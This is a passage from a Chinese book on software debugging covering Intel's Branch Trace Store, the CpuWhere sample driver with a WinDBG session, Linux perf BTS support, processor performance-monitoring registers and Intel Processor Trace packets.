时便可以得到用户空间可以访问的指针,代码如下:
Status = AllocNonPagedMemory(
TotleBytes, &(BtsState->MdlDebugStore),
&(BtsState->VaUserDebugStore),
&(BtsState->DebugStore)
);
因此,2.0版本的界面(见图5-8)将原来的“抓取”(Fetch)按钮改
为“Pause/Unpause”。只要单击Pause按钮,上面提到的工作线程先会通
知驱动暂停监视,然后便直接读取DS区,并把信息显示到对应Tab页的
列表中。
2.0版本还加入了64位支持,可以工作在64位的Windows系统上。作
者测试了Windows 7和Windows 10。测试平台是装有第四代酷睿
(Haswell)处理器(i3-4100M)的神易MINI主机,使用该款机器的一
个原因是它自带难得一见的串口,调试起来很方便。如果读者在其他环
境下试用时遇到问题,那么最有效的方法是使用内核调试(见第18章)
来定位问题根源。清单5-9列出了检查CpuWhere驱动程序内部关键数据
结构的WinDBG命令和执行记录(清单中是正常结果,供比较使用)。
图5-8 CpuWhere 2.0版本工作时的截图
清单5-9 在内核调试会话中观察驱动程序的关键数据结构
1 0: kd> !drvobj cpuwhere
2 Driver object (ffffd5827522db90) is for:
3 \Driver\CpuWhere
4 Driver Extension List: (id , addr)
5
6 Device Object list:
7 ffffd5827516e630
8 0: kd> !devobj ffffd5827516e630
9 Device object (ffffd5827516e630) is for:
10 CpuWhere \Driver\CpuWhere DriverObject ffffd5827522db90
11 Current Irp 00000000 RefCount 1 Type 00008306 Flags 00000048
12 SecurityDescriptor ffffad0740074c80 DevExt ffffd5827516e780 DevObjExt
13 ffffd5827516ef98
14 ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
15 Characteristics (0000000000)
16 Device queue is not busy.
17 0: kd> dt cpuwhere!_BTS_DEVICE_EXTENSION ffffd5827516e780
18 +0x000 DevObj : 0xffffd582`7516e630 _DEVICE_OBJECT
19 +0x008 MaxBtsRecords : 0
20 +0x00c Flags : 0
21 +0x010 Options : 0
22 +0x018 BtsState : [64] _BTS_STATE
23 0: kd> dx -r1 (*((cpuwhere!_BTS_STATE (*)[64])0xffffd5827516e798))
24 [0] [Type: _BTS_STATE]
25 [1] [Type: _BTS_STATE]
26 [2] [Type: _BTS_STATE]
27 [3] [Type: _BTS_STATE]
28 [4] [Type: _BTS_STATE]
29 [省略多行]
30 0: kd> dx -r1 (*((cpuwhere!_BTS_STATE *)0xffffd5827516e7b8))
31 [+0x000] DebugStore : 0xffffc38135e12000 [Type: _DEBUG_STORE
*]
32 [+0x008] MdlDebugStore : 0xffffd58271c7e8b0 [Type: _MDL *]
33 [+0x010] VaUserDebugStore : 0x21a83290000 [Type: void *]
34 [+0x018] BtsStatus : 0x1 [Type: unsigned char]
35 0: kd> dx -r1 (*((cpuwhere!_DEBUG_STORE *)0xffffc38135e12000))
36 [+0x000] BtsBase : 0xffffc38135e12050 [Type: unsigned __i
nt64]
37 [+0x008] BtsIndex : 0xffffc38135e1e548 [Type: unsigned __i
nt64]
38 [+0x010] BtsAbsolute : 0xffffc38135e2f510 [Type: unsigned __i
nt64]
39 [+0x018] BtsIntThreshold : 0xffffc38135e2f528 [Type: unsigned __i
nt64]
40 [+0x020] PebsBase : 0x0 [Type: unsigned __int64]
41 [+0x028] PebsIndex : 0x0 [Type: unsigned __int64]
42 [+0x030] PebsAbsolute : 0x0 [Type: unsigned __int64]
43 [+0x038] PebsIntThreshold : 0x0 [Type: unsigned __int64]
44 [+0x040] PebsCounterReset : 0x0 [Type: unsigned __int64]
45 [+0x048] Reserved : 0x0 [Type: unsigned __int64]
第1行是使用!drvobj命令列出驱动对象(第2行)和它创建的设备对
象(第7行)。然后再使用!devobj观察设备对象的详细信息,这样做主
要是为了得到与其关联的设备扩展结构体的地址(第12行),该指针指
向的就是清单5-7中的BTS_DEVICE_EXTENSION结构体。有了这个地
址之后,使用dt命令观察(第17行),然后可以用dx命令来显示结构体
中的BtsState数组(第23行)。接下来可以根据监控的CPU编号来观察
对应的数组元素,显示出某个CPU对应的BTS_STATE结构体(第30
行),并通过其中的DebugStore成员继续观察对应的DEBUG_STORE结
构体(第35行)。第36~39行为CPU手册定义的BTS字段的值,可以看
到BTS缓冲区的记录指针(BtsIndex)为0xffffc38135e1e548,距离起始
地址50424字节,因为每条记录为24个字节,所以缓冲区中已经有2101
条记录了。如图5-8所示,界面上设置的总记录数为5000,所以还有大
约一半缓冲区可以使用。
老雷评点
读上面调试日志,可观NT内核经典驱动模型(WDM)之梗
概,亦可见其融面向对象思想于过程语言(C)之妙处。
5.4.4 局限性和扩展建议
CpuWhere程序可以观察到CPU的运行轨迹,并可以将其翻译为程
序符号。通过这些信息,我们可以精确地了解CPU的运行历史,为软件
调试和研究软件的工作过程提供第一手资料。
但是CpuWhere毕竟是一个示例性的小程序,虽然作者在这个小程
序上花费了很多时间,但它仍只是BTS功能的一个初级应用,还有如下
局限。
没有考虑进程上下文。目前只是简单地将BTS记录中的地址传递给
内核调试引擎寻找匹配的符号,因为我们没有仔细地设置和维护进
程上下文,所以查到的用户态地址的符号可能是不准确的,甚至是
错误的。
我们只是以单一的线性列表来显示BTS记录,一种更好的显示方式
是以调用图(calling graph)的方式来显示函数的调用和返回。
使用的是环形缓冲区模式,不是中断模式。BTS区满了之后,CPU
会循环使用。
对此感兴趣的读者可以从本书线上资源中下载CpuWhere的源代
码,加以改进和补充,去掉上述不足。
老雷评点
2011年9月,《软件调试》第2版的第一次开工,坚持到2013
年8月(写到本章),开始更新CpuWhere程序,不想一头扎进
去,用了一个月,以至于那次努力半途而废。2017年,再次开
工,写到本章时,以前的环境已经不在,于是重新搭建环境,编
译运行,一边调试,一边又做了些更新,还好这次跨过了这道
坎。前前后后花在这个程序上的时间需以月计了。聊缀数语,希
望读者诸君阅读本节时学到的不只是分支记录。
5.4.5 Linux内核中的BTS驱动
浏览Linux内核源代码树(作者使用的是4.4版本),打开
arch/x86/kernel/cpu/perf_event_intel_bts.c文件——它便是英特尔公司为
IA CPU的BTS设施编写的驱动程序。驱动的代码不长,比作者编写的
Windows版本的驱动要简单得多,主要原因是使用了Linux 2.6内核引入
的perf框架。这个框架是以面向事件的思想设计的,驱动程序只要提供
管理事件的几个回调函数(包括初始化、开始、停止、增加、删除、读
取等)即可。清单5-10所示的初始化函数bts_init便是把这些回调函数先
赋值到一个结构体(bts_pmu)的成员中,然后再调用perf框架的注册函
数(perf_pmu_register)报告给框架。
清单5-10 Linux内核BTS驱动的初始化函数
1 static __init int bts_init(void)
2 {
3 if (!boot_cpu_has(X86_FEATURE_DTES64) || !x86_pmu.bts)
4 return -ENODEV;
5
6 bts_pmu.capabilities = PERF_PMU_CAP_AUX_NO_SG | PERF_PMU_CAP_I
TRACE;
7 bts_pmu.task_ctx_nr = perf_sw_context;
8 bts_pmu.event_init = bts_event_init;
9 bts_pmu.add = bts_event_add;
10 bts_pmu.del = bts_event_del;
11 bts_pmu.start = bts_event_start;
12 bts_pmu.stop = bts_event_stop;
13 bts_pmu.read = bts_event_read;
14 bts_pmu.setup_aux = bts_buffer_setup_aux;
15 bts_pmu.free_aux = bts_buffer_free_aux;
16
17 return perf_pmu_register(&bts_pmu, "intel_bts", -1);
18 }
19 arch_initcall(bts_init);
在默认情况下,BTS驱动会被构建到Linux内核中,使用perf工具的
list命令可以观察到:
# perf list | grep bts
intel_bts// [Kernel PMU event]
使用如下命令可以监视并记录指定进程(ls为例)的运行过程:
# perf record --per-thread -e intel_bts// --dump ls /home -R
在intel_bts//记录的数据默认放在当前目录的perf.data文件中。执行
perf report便可以查看和分析结果(见图5-9)。
图5-9 使用perf脚本分析BTS记录
注意,图5-9所示的分析结果完全是按事件数量计算的。标题第一
行显示了总的样本数——506255003,即5亿多个。看表格中malloc那一
行,所占百分比为0.56,即283万多个。这反映了被监视进程很频繁地
调用了malloc函数。可以通过设置MSR_LBR_SELECT寄存器来对分支
事件进行过滤,这样便可以只监视某一类或者几类感兴趣的分支跳转。
在内核代码树的tools/perf/Documentation/intel-bts.txt文件中,有关于
BTS驱动的简要说明。
英特尔公司的VTune软件是一款强大的辅助调试和性能分析工具,
具有丰富的功能,它所依赖的技术除了本节介绍的BTS技术,还有下一
节将介绍的性能监视机制。
5.5 性能监视
很多程序员都有过这样的经历:为了评估一段代码的执行效率,分
别在这段代码的前面和后面取系统时间,然后通过计算时间差得到这段
代码的执行时间。这可以说是最简单的性能监视(performance
monitoring)方法。这种方法忽略了很多因素,所以得到的结果只是一
个非常粗略的估计。比如在一个多任务的操作系统中,CPU在执行这段
代码的过程中,很可能被多次切换去执行其他的程序或处理各种中断请
求,而这些时间是不固定的。
性能监视对软件调优(tuning)和软件调试都有着重要的意义,为
了更好地满足性能监视任务的需要,IA处理器从奔腾开始就提供了性能
监视机制,包括专门的计数器、寄存器、CPU管脚和中断支持等。
需要指出的是,虽然从奔腾CPU开始的所有IA处理器都包含了性能
监视支持,但是直到Core Solo和Core Duo处理器公布时,才将一部分性
能监视机制纳入到IA架构中,其他部分仍是与处理器型号相关的。换句
话说,IA CPU的性能监视支持是与处理器型号相关的,使用时,应该
先检查CPU的型号。下面按照由简单到复杂的顺序分别介绍不同IA CPU
的性能监视机制。
5.5.1 奔腾处理器的性能监视机制
奔腾处理器是第一个引入性能监视机制的IA处理器,该机制包括两
个40位的性能计数器(PerfCtl0和PerfCtl1)、一个32位的名为
CESR(Counter Event Select Register)的控制寄存器,以及处理器上的
PM0/BP0和PM1/BP1管脚。CESR寄存器用于选择要监视的事件和配置
监视选项,PM0/BP0和PM1/BP1管脚用于向外部硬件通知计数器状态
(各对应一个计数器)。PerfCtl0、PerfCtl1和CESR都是MSR,可以通
过RDMSR和WRMSR指令来访问。下面我们以CESR的格式为线索,介
绍奔腾处理器的性能监视机制。
图5-10画出了CESR的各个位域。
图5-10 奔腾处理器的CESR
显而易见,CESR的高16位和低16位的布局是相同的。低16位对应
计数器0,高16位对应计数器1。每个部分都包含下面3个域。
(1)6位的事件选择域ES(Event Select):用来选择要测量(监
视)的事件类型,例如DATA_READ、DATA_WRITE、CODE_READ
等。IA-32手册卷3B的附录A中列出了每种IA-32处理器所支持的全部事
件类型。
(2)3位的计数器控制域CC(Counter Control):用来设置计数器
选项,其可能值和含义如下。
000:停止计数。
001:当CPL=0、1或2时对选定的事件计数。
010:当CPL=3时对选定的事件计数。
011:不论CPL为何值,都对选定的事件计数。
100:停止计数。
101:当CPL=0、1或2时对时钟(clocks)计数,相当于记录CPU在
内核态的持续时间。
110:当CPL=3时对时钟(clocks)计数,相当于记录CPU在用户态
的持续时间。
111:不论CPL为何值,都对时钟计数。
显而易见,最高位是用来控制对事件计数还是对时钟计数(即持续
时间);中间位用来使能(enable)当CPL为3(用户模式下)时是否计
数;最低位用来使能(enable)当CPL为0、1或2(内核模式下)时是否
计数。
(3)1位的管脚控制域PC(Pin Control):用来设置对应的PM/BP
管脚行为。如果该位为1,那么当对应计数器溢出时,PM/BP管脚信号
被置起(asserted);如果该位为0,那么当对应计数器递增时,PM/BP
管脚信号被置起。
5.5.2 P6处理器的性能监视机制
与奔腾处理器的性能监视机制相比,P6 处理器的性能监视机制可
以大体概括如下。
第一,仍然实现了两个40位的性能计数器PerfCtl0和PerfCtl1。
第二,增加了RDPMC指令用于读取性能计数器的值。因为性能计
数器是MSR,所以可以通过RDMSR指令来读取,但是RDMSR指令只能
在内核模式(或实模式)下执行。而RDPMC指令可以在任何特权级别
下执行,因此有了RDPMC指令后就可以在用户模式下读取性能计数器
了。其使用方法是将计数器号(0和1)放入ECX寄存器中,然后执行
RDPMC指令,其结果会被放入EDX:EAX对(EAX中包含低32位,EDX
中包含高8位)中。
第三,使用两个32位的MSR(PerfEvtSel0和PerfEvtSel1),分别控
制计数器PerfCtl0和PerfCtl1。不再像奔腾处理器那样使用一个CESR寄
存器的高16位和低16位来分别控制两个计数器。可以用RDMSR和
WRMSR指令来访问PerfEvtSel0和PerfEvtSel1寄存器(在内核模式或实
模式下)。它们的地址分别是186H和187H。
PerfEvtSel寄存器的位布局如图5-11所示。
图5-11 P6处理器的PerfEvtSel寄存器
其各个位域的含义如下。
8位的事件选择域ES(Event Select):用来选择要监视的事件类
型。具体类型定义参见IA手册中。
8位的单元掩码域UMASK(Unit Mask):进一步定义ES域中指定
的要监视事件。可以理解为ES域中指定的要监视事件的更详细的条
件和参数。
1位的用户模式域USR(User Mode):指定当处理器处于特权级
1、2或3(即用户模式下)时是否计数。
1位的系统模式域OS(Operating System Mode):指定当处理器处
于特权级0(即内核模式下)时是否计数。
1位的边缘检测域E(Edge Detect):用来记录被监视事件(其他域
指定)从deasserted到asserted的状态过渡次数。
1位的管脚控制域PC(Pin Control):其含义与奔腾处理器相同,
参见上文。
1位的中断使能域INT(APIC Interrupt Enable):用于控制当相应
计数器溢出时是否让本地的APIC(Advanced Programmable
Interrupt Controller,即集成在CPU内部的可编程中断控制期)产生
一个中断。事先应该设置好APIC的局部向量表(Local Vector
Table,LVT)、中断服务例程及IDT。
1位的计数器使能域EN(Enable Counters):当设为1时,启动两个
计数器;当为0时,禁止两个计数器。该位仅在PerfEvtSel0中实
现。
8位的计数器掩码域CMASK(Counter Mask):用作计数器的计数
条件阈值,当事件数与这个阈值比较满足条件时才改变计数器的
值。下面的INV位用来指定比较方法。
1位的取反域INV(Invert):该位为1时,当事件数量少于CMASK
中的值时才将事件计入计数器中。如果该位为0,那么当事件数量
大于等于CMASK中的值时,才将事件计入计数器中。
5.5.3 P4处理器的性能监视
与P6系列和奔腾处理器相比,P4处理器对性能监视支持做了非常大
的改进和增强。尽管选择和过滤事件类型以及通过WRMSR、RDMSR
或RDPMC指令来访问有关寄存器的一般方法没有变,但是MSR寄存器
的布局和设置机制都有了很大的变化。具体变化如下。
第一,性能计数器的数量由2个增加至18个(每个仍然是40位
的),RDPMC指令也做了增强,可以以更快的速度读取这些寄存器;
CR4寄存器增加了PCE位,允许操作系统限制在用户模式下执行RDPMC
指令。
18个性能计数器被分为9对,又进一步划分为以下4组。
(1)BPU(Branch Prediction Unit)组包含2个计数器对。
MSR_BPU_COUNTER0(编号0)和MSR_BPU_COUNTER1(编号
1)。
MSR_BPU_COUNTER2(编号2)和MSR_BPU_COUNTER3(编号
3)。
(2)MS(Microcode Store)组包含2个计数器对。
MSR_MS_COUNTER0(编号4)和MSR_MS_COUNTER1(编号
5)。
MSR_MS_COUNTER2(编号6)和MSR_MS_COUNTER3(编号
7)。
(3)FLAME组包含2个计数器对。
MSR_FLAME_COUNTER0(编号8)和
MSR_FLAME_COUNTER1(编号9)。
MSR_FLAME_COUNTER2(编号10)和
MSR_FLAME_COUNTER3(编号11)。
(4)IQ(Instruction Queue)组包含3个计数器对。
MSR_IQ_COUNTER0(编号12)和MSR_IQ_COUNTER1(编号
13)。
MSR_IQ_COUNTER2(编号14)和MSR_IQ_COUNTER3(编号
15)。
MSR_IQ_COUNTER4(编号16)和MSR_IQ_COUNTER5(编号
17)。
如果希望记录更大的范围,那么可以将一个计数器与本组内不属于
同一对的其他计数器进行级联(counter cascading)。
第二,事件选择控制寄存器(ESCR)的数量也大幅增加,多达43
~45个(与处理器的详细型号有关),用于选择和过滤要监视的事件,
以及控制特定的计数器。一个计数器最多可以与8个ESCR之一相关联。
一个ESCR也可能被用于多个计数器。ESCR的布局如图5-12所示。
图5-12 P4处理器的ESCR
位25~30用来选择要监视的事件大类(event class);位9~24用来
选择事件大类中的具体事件;位5~8可以指定一个与微指令相关联的标
记(tag)值,用来辅助对回收期事件计数;位4用于启用或禁止微指令
标记(tagging)功能;位3(OS)和位2(USR)与以前的含义相同。
第三,新增18个计数器配置控制寄存器(Counter Configuration
Control Register,CCCR),它们与18个计数器一一对应,用于设置计
数的方式和参数。CCCR的布局如图5-13所示。
位12(enable)用来启动对应的计数器。位13~15(选择ESCR)用
来指定与对应计数器相关联的ESCR,即间接选择要监视的事件。位
18(启用比较)用来启动位19~24所定义的事件过滤。位19(补码)为
1时,当事件数小于等于阈值时递增计数器;位19为0时,当事件数大于
阈值时递增计数器;位20~23指定用于比较的阈值,具体值与被监视的
事件类型有关。位24(沿检测)用于启用或禁止上升沿(false-to-true)
检测。位25(FORCE_OVF)为1时,计数器每次递增都会强制计数器
溢出,位25为0时且仅当计数器真正溢出时才发生溢出;位
26(OVF_PMI)为1时,每当计数器溢出都会产生PMI中断;位30(级
联标志)用于启用和禁止计数器级联;位31(OVF标志)为1时表示对
应计数器已经溢出,此标志位不会自动清除(必须由软件显式清除)。
图5-13 CCCR寄存器
第四,将事件分为如下两种类型:回收阶段事件(at-retirement
event)和非回收阶段事件(non-retirement event)。前者是指发生在指
令执行的回收阶段(retirement stage)的事件;后者是指发生在指令执
行过程中任何时间的事件,如总线事务等。针对回收期事件的计数仅记
录与分支预测正确的路径上的微操作有关的事件。针对非回收期事件的
计数会记录指定类型的所有事件,即使该事件属于预测错误的分支(不
会进入回收期)。
第五,将采样(sampling)计数器的方式(也就是使用计数器的模
式)归纳为如下3种。
定期读取(event counting):在计数器计数期间,软件以一定的间
隔读取计数器的值。
计数器溢出时产生中断:当计数器溢出时,产生性能监视中断
(Performance Monitoring Interrupt,PMI)。中断处理程序记录下
返回指令指针(Return Instruction Pointer,RIP,也就是被中断程序
的指令地址),复位计数器,然后重新开始计数。IA手册将此方式
称为基于事件的非精确采样(non-precise event-based sampling)。
通过分析RIP的分布,可以分析代码的执行情况以供性能优化使
用。英特尔的VTune工具可以将RIP分布等信息以图形的方式显示
出来。
计数器溢出时自动保存状态:当计数器溢出时,自动将通用寄存
器、EFlags寄存器和EIP寄存器的值保存到调试存储区。此方式即
我们上一节介绍的基于事件的精确采样技术(Precise Event-Based
Sampling,PEBS)。该技术不仅对目标程序代码影响较小,保存
的状态信息也很丰富,因此对软件性能优化非常有用。但是该技术
仅适用于一部分回收期事件(Execution_event、Front_end_event和
Replay_event),不能用于非回收期事件。
第六,IA32_MISC_ENABLE寄存器中增加了两个位域用于检测处
理器对性能监视的支持能力(位7和位12)。
IA手册卷3第19章列出了奔腾4处理器支持的所有非回收期事件以及
每个事件的参数设置信息。下面简要介绍如何开始对非回收期事件进行
计数。具体步骤如下。
① 选择要监视的事件。
② 根据IA手册卷3第19章中的指导信息为每个要监视的事件选取一
个支持该事件的ESCR。
③ 选取一个与所选的ESCR相关联的CCCR和计数器(CCCR和计数
器是一一对应的),并从IA手册查找到选取的计数器、ESCR、CCCR
的地址。
④ 使用WRMSR指令设置ESCR,指定要监视的事件和要计数的特
权级别。
⑤ 使用WRMSR指令设置CCCR,指定ESCR和事件过滤选项。
⑥ [可选]设置计数器级联选项。
⑦ [可选]设置CCCR以便当计数器溢出时产生性能监控中断
(PMI)。如果启用PMI,那么必须设置本地APIC、IDT及相应的中断
处理例程。
⑧ 使用WRMSR指令置起CCCR的启用标志(Enable),开始事件
计数。如果要停止计数,则将该标志清零。
下面再来看看启动PEBS的过程。
① 建立DS内存区,详见上一节。
② 通过设置IA32_PEBS_ENABLE MSR的Enable PEBS(位24)启
用PEBS。
③ 设置中断和中断处理例程。PEBS可以与分支监视和
NPEBS(non-precise event-based sampling)共享一个中断和中断处理例
程。
④ 设置MSR_IQ_COUNTER4计数器和相关联的CCCR,以及一个
或多个ESCR(指定要监视的事件)。只能使用MSR_IQ_COUNTER4计
数器进行PEBS采样。
完成以上设置后,CPU便会使用MSR_IQ_COUNTER4计数器对
ESCR指定的事件进行计数,当计数器溢出时,CPU便会自动将当时的
寄存器内容以PEBS记录的形式写到DS内存区的PEBS缓冲区中。当
PEBS缓冲区已满(或满足DS管理区中定义的中断条件)时,CPU便会
产生性能监视中断(PMI),并转去执行对应的中断处理例程(称为DS
ISR)。DS ISR应该将DS内存区中的信息转存到文件中,并清空已满的
缓冲区、复位计数器值,然后返回。
5.5.4 架构性的性能监视机制
于2006年推出的Core Duo和Core Solo处理器将CPU内的性能监视设
施分为两类:一类是架构性的(architectural),另一类是非架构性的
(non-architectural)。所谓架构性的,就是说这部分机制会成为IA架构
中的标准部分,会被以后的IA处理器所兼容。非架构性的仍然与处理器
相关。
Core Duo和Core Solo中引入的架构性性能监视设施主要如下。
(1)有限数量的事件选择寄存器,名称为IA32_PERFEVTSELx,
第一个的地址为0x186,其他寄存器的地址是连续的。
(2)有限数量的事件计数寄存器,名称为IA32_PMCx,第一个的
地址为0xC1,其他寄存器的地址是连续的。
(3)用于检查性能监视机制支持情况的检测机制,即CPUID指令
的0xA号分支(leaf),简称CPUID.0AH。
执行本书示例代码中的CpuID小程序,便可以检测当前CPU的性能
监视机制支持情况。比如,以下是在作者写作本内容时使用的Kaby
Lake处理器上的执行结果:
Input=0xa:0x0, EAX=0x7300404, EBX=0x0, ECX=0x0, EDX=0x603
在返回的信息中,EAX的第一个字节04代表的是版本号(Version
ID),这与IA手册上所描述的Skylake和Kaby Lake微架构支持版本4刚
好一致(卷三18.2节);第二个字节是每个逻辑CPU配备的通用性能监
视计数器的个数;第三个字节是通用性能监视计数器的位宽,0x30代表
48位。EDX寄存器的位0~4(3)代表固定功能的性能计数器的数量,
位5~12(0x30)代表固定功能性能计数器的位宽。更多详细描述请参
见IA手册卷2中关于CPUID指令的介绍。
IA32_PERFEVTSELx寄存器的位布局如图5-14所示。
图5-14 IA32_PERFEVTSELx寄存器
显而易见,其布局和位定义与P6处理器的PerfEvtSel寄存器(见图
5-11)是完全一样的,其含义也基本相同,在此不再赘述。
在写作本书第2版时,IA手册上共定义了4个版本的架构性的性能监
视机制。支持较高版本的处理器一定支持所有低版本的功能。
5.5.5 酷睿微架构处理器的性能监视机制
酷睿(Core)微架构的IA处理器(例如Core 2 Duo和Core 2 Quad
等)除了支持Core Solo和Core Duo处理器所引入的架构性能监视机制
外,还提供了以下性能监视设施。
(1)3个固定功能计数器,名为MSR_PERF_FIXED_CTR0~
MSR_PERF_FIXED_CTR2,地址为0x309~0x30A。这3个计数器分
别用来专门监视以下3个事件:INSTR_RETIRED. ANY、
CPU_CLK_UNHALTED.CORE和CPU_CLK_UNHALTED. REF。启
用这3个计数器不需要设置任何事件选择寄存器
(IA32_PERFEVTSELx),只需要设置一个新引入的
MSR_PERF_FIXED_CTR_CTRL寄存器。
(2)3个全局的计数器控制寄存器,用于简化频繁使用的操作。
MSR_PERF_GLOBAL_CTRL:用于启用或禁止计数器,每个二进
制位(保留位除外)对应一个专用的
(MSR_PERF_FIXED_CTRx)或通用的性能计数器。将某一位设
置为1便启用对应的计数器,清0便停止计数。因此通过这个寄存
器,只要使用一条WRMSR指令便可以控制多个计数器。
MSR_PERF_GLOBAL_STATUS:用于读取计数器的溢出状态,每
个二进制位对应一个计数器或一种状态。通过这个寄存器,只要使
用一条RDMSR指令便可以读到多个计数器及PEBS缓冲区的当前状
态。
MSR_PERF_GLOBAL_OVF_CTRL:用于清除计数器或缓冲区的溢
出标志,位定义与MSR_PERF_GLOBAL_STATUS相对应。
5.5.6 资源
如何利用硬件设施编写性能监控软件这一话题超出了本书讨论的范
围,感兴趣的读者可以参考以下开源项目或工具。
Brinkley Sprunt的Brink and Abyss项目,用于Linux。
Don Heller的Rabbit(A Performance Counters Library)项目
(Linux)。
Mikael Pettersson的perfctr(Linux下的x86性能监视计数器驱动)。
美国田纳西大学ICL实验室的PAPI(Performance Application
Programming Interface)项目(支持Windows和Linux)。
PCL(Performance Counter Library)项目(支持Linux和Solaris等操
作系统)。
英特尔公司的VTune工具(VTune Performance Analyzer)。
在性能优化方面,另一个宝贵的资源就是IA手册中的优化手册,全
称为Intel® 64 and IA-32 Architectures Optimization Reference Manual。感
兴趣的读者可以从英特尔公司的网站下载它的电子版本。
5.6 实时指令追踪
2012年8月,作者有幸参加了英特尔公司内部的DTTC(Design and
Test Technology Conference)大会。即使对于英特尔的员工来说,这也
是个神秘的会议,因为会议上讨论的大多都是关乎公司命运的CPU核心
技术。在那次会议上,我在一个分会场里第一次听到了实时指令追踪
(Real Time Instruction Trace,RTIT)技术,来自以色列的演讲者带着
自豪感介绍这项新的调试技术,几次提到它的先进性,号称具有划时代
意义。
DTTC上的几乎所有内容都是要保密的,尤其是处于研发阶段尚未
发布的技术,所以我虽然很早就知道了RTIT,但是在任何场合也不可
以随便说,即使对公司里的同事。
从2013年下半年开始,支持RTIT技术的SoC产品和工具陆续推出。
2014年7月关于RTIT的专利公布[3]。2015年,支持RTIT的酷睿芯片推
出,支持RTIT的Linux内核驱动发布。至此,RTIT技术彻底揭开神秘的
面纱。
公开后的RTIT技术有个商业化的名字,称为英特尔处理器追踪技
术(Intel® Processor Trace),简称Intel PT。在IA手册中,大多数地方
使用的都是Intel PT,但也有个别地方,比如MSR寄存器名,还保留着
旧名字RTIT。本书将混用这两个名字,视作等价。
5.6.1 工作原理
与之前介绍过的BTS技术相比,RTIT的最大特点是副作用
(overhead)小。在英特尔的官方资料中,称其对性能的影响低于5%。
RTIT是如何降低副作用的呢?最主要的方法是将RTIT逻辑分离出来,
让其成为一个单独的组件,专司其职。在来自RTIT专利[4]的图5-15中,
很容易可以看出这一特征。
图5-15中,左侧是处理器芯片(广义上的CPU),其中的RTIT
LOGIC 109便代表RTIT单元,它左侧的方框代表0~N个逻辑CPU。右侧
的大方框代表内存,内部靠上的方框代表软件(操作系统、应用程序
等),下面的方框代表RTIT数据。
RTIT专利的正文特别说明,RTIT有两种输出模式:一种是图5-15
所示的将监视数据写到内存中的专用区域中,我们不妨将其称为内存模
式;另一种是将监视数据输出到所谓的追踪传输子系统(Trace
Transport Subsystem)——该子系统会根据系统的硬件配置将信息传送
给外部硬件,比如专业的追踪工具。IA手册没有给后一种模式取名字,
在描述RTIT的控制寄存器IA32_RTIT_CTL时,启用后一种模式的位域
称为FabricEn。因此我们就把它称为互联(Fabric)模式。
图5-15 RTIT结构图(来自英特尔公司的RTIT专利)
在使用内存模式时,根据内存区的多少又分两种方式:一种是使用
一块连续的内存区,称为单区域输出(Single-Range Output);另一种
是输出到多个长度可以不同的内存区中,这些内存区的物理地址以指针
表的形式关联到一起,所以这种方式称为物理地址表(Table of Physical
Addresses)输出,简称ToPA输出。
寄存器IA32_RTIT_OUTPUT_BASE是配置RTIT数据区位置的关键
寄存器,使用单内存区时,它存放的便是RTIT数据区的物理地址。如
果使用ToPA输出,那么它存放的是第一个物理地址表的物理地址。
5.6.2 RTIT数据包
RTIT的追踪数据是以包(packet)的形式来组织和传输的。每个数
据包都有固定的类型和格式,以头信息(header)开始,后面跟随长度
不等的负载(payload)。
目前定义了的包类型有14种,分为如下4类,见表5-1。
表5-1 RTIT的数据包
类
别
包 名
描 述
基
本
信
息
包数据流边界(Packet
Stream Boundary),简称
PSB
以固定间隔(比如每4KB追踪数据)产生,既有心
跳作用,又有分界作用,解码包时总是应该从PSB
包开始
页表信息包(Paging
Information Packet),简
称PIP
报告CR3寄存器变化,追踪工具可以根据这个信息
得到当前进程信息和翻译线性地址
时间戳计数器(Time-
Stamp Counter),简称
TSC
辅助标注时间
处理器核心的总线比率
(Core Bus Ratio),简
称CBR
报告CPU核心的总线时钟比率(bus clock ratio)
溢出(Overflow),简称
OVF
报告内部缓冲区用完,通知有包丢失
控
制
流
程
分支与否(Taken Not-
Taken),简称TNT
报告条件分支指令的执行方向,是做了跳转(称
Taken),还是没有(Not-taken)
目标IP包,简称TIP
报告因为异常、中断或者其他间接分支跳转时的目
标IP(程序指针)
流程更新包(Flow
Update Packets),简称
FUP
对于中断、异常或者其他不能断定分支跳转的来源
IP地址的异步事件,报告源IP地址
执行模式(MODE)包
报告处理器的执行信息,包括执行模式等
软
件
插
入
PTWRITE包,简称PTW
软件通过PTWRITE指令插入的数据
电
源
管
MWAIT包
成功通过MWAIT指令进入深度大于C0的睡眠状态
进入省电状态(Power
State Entry)包,简称
PWRE
进入深度大于C0的睡眠状态
退出省电(Power State
理
Exit)状态包,简称
PWRX
退出深度大于C0的睡眠状态
执行停止(Execution
Stopped)包,简称
EXSTOP
因为进入省电状态等原因而停止执行软件
从表5-1可以看出,RTIT机制给追踪工具提高了非常丰富的信息,
不仅有详细的执行流程,还有关于CPU状态的变化情况。特别值得一提
的是,应用程序还可以利用PTWRITE指令插入一个PTW包——
PTWRITE指令支持一个操作数,可以是应用程序指定的任何内容。利
用这一机制,我们就可以在被调优的软件中插入特殊的代码,向优化工
具输出一个特殊的数据,“打印”一条信息到RTIT数据流中。PTW包的
格式如图5-16所示,第一行是二进制位的位数,下面的每一行代表一个
字节。已经填写了0或者1的位表示那些位是固定的包头信息,字节1的
IP位如果为1,则表示在这个PTW包后面后跟随一个FUP包,后者会包
含程序指针信息。PayloadBytes字段用来表示负载数据的长度,0b00表
示负载数据的长度是4字节,0b01表示8字节。
图5-16 PTW包的格式
不是所有IA CPU都支持RTIT的所有功能,应该使用CPUID指令的
(EAX=14H,ECX=0)分支来检测具体的支持情况。比如在作者写作使
用的i5-7200 CPU上的检测结果为:
Input=0x14:0x0, EAX=0x1, EBX=0xf, ECX=0x7, EDX=0x0
返回结果中的EAX为1代表可以继续通过(EAX=14H,ECX=1)来
继续检测RTIT的能力,EBX中的0xF表示支持CR3过滤(bit 0)、支持
可配置的PSB(Packet Stream Boundary)(bit 1)、支持IP过滤(bit
2)以及支持MTC(Mini time Counter)(bit 3),但是不支持
PTWRITE(bit 4为0)。
5.6.3 Linux支持
Linux的4.1内核最先包含了RTIT驱动,名字叫作Intel(R) Processor
Trace PMU driver for perf,简称perf intel-pt,源程序文件名为
perf_event_intel_pt.c。但是perf的用户态工具是从Linux 4.3开始支持
RTIT的。
根据perf intel-pt的主要开发者Adrian Hunter(英特尔工程师)在
2015年Tracing Summit大会上所做的报告,perf intel-pt有以下几种工作
模式。
全程追踪(full trace)模式:连续追踪,将追踪信息写到磁盘中。
快照(snapshot)模式:使用环形缓冲区记录追踪数据,当配置的
事件发生时便停止追踪。
采样模式:也是使用环形缓冲区记录追踪数据,当采样事件发生
